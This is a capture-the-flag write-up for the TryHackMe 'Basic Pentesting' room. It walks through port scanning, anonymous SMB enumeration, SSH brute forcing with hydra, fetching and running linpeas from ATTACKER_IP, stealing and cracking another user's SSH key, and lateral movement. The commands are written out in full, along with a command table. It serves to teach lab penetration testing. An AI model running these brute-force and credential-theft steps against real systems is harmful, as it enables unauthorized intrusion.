THM: Basic Pentesting

Linux box with anonymous SMB access revealing usernames. Brute forced SSH credentials, discovered encrypted SSH private key for lateral movement, and cracked key passphrase to access higher-privileged user.

Initial Enumeration

Nmap Scan

sudo nmap -sS -sV -T4 -p 22,80,139,445,8009,8080 TARGET_IP

Results:

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1
80/tcp   open  http        Apache httpd
139/tcp  open  netbios-ssn Samba smbd
445/tcp  open  netbios-ssn Samba smbd
8009/tcp open  ajp13       Apache Jserv
8080/tcp open  http        Apache Tomcat 9.0.7

---

SMB Enumeration

Anonymous Access

smbclient -N -L //TARGET_IP

Found “Anonymous” share accessible without credentials.

smbclient //TARGET_IP/Anonymous -U anonymous
get staff.txt

Discovery: File mentions user Jan

---

Credential Attacks

SMB Brute Force

msfconsole
use scanner/smb/smb_login
set RHOSTS TARGET_IP
set SMBUser jan
set PASS_FILE /usr/share/wordlists/rockyou.txt
run

Result: Jan’s SMB password is password

SSH Brute Force

sudo hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://TARGET_IP -t 64 -V

Result: Jan’s SSH password is armando

---

Initial Access

ssh jan@TARGET_IP

Successfully logged in as Jan.

---

Local Enumeration

File Transfer

python3 -m http.server 8000

On target:

wget http://ATTACKER_IP:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

Manual Exploration

ls -la /home/kay/.ssh/

Discovery: Kay’s encrypted SSH private key

---

SSH Key Cracking

Extract Private Key

cat /home/kay/.ssh/id_rsa

Save to kay_id_rsa

Convert and Crack

chmod 600 kay_id_rsa
ssh2john kay_id_rsa > kay_hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt kay_hash.txt

Success: Passphrase cracked!

---

Lateral Movement

ssh -i kay_id_rsa kay@TARGET_IP

Enter cracked passphrase.

Result: Logged in as Kay

---

Password Discovery

cat /home/kay/pass.bak

Output: herebedragons$$

Kay’s system password obtained.

---

Notable Commands

Command	Description
smbclient -N -L //IP	List SMB shares anonymously
hydra -l user -P wordlist ssh://IP -t 64	SSH brute force
python3 -m http.server 8000	Simple HTTP server
ssh2john key > hash	Convert SSH key to John format
john --wordlist=rockyou.txt hash	Crack SSH key passphrase
ssh -i key user@IP	SSH with private key

---

Key Takeaways

• Anonymous SMB reveals usernames and intel
• Different services often have different passwords
• Encrypted SSH keys are crackable with weak passphrases
• Backup files frequently contain plaintext credentials
• Lateral movement through SSH keys is common
• Readable .ssh directories enable privilege escalation

---

Room: Basic2

Platform: TryHackMe

Difficulty: Easy

Attack Path: Anonymous SMB → SSH Brute Force → SSH Key Cracking → Lateral Movement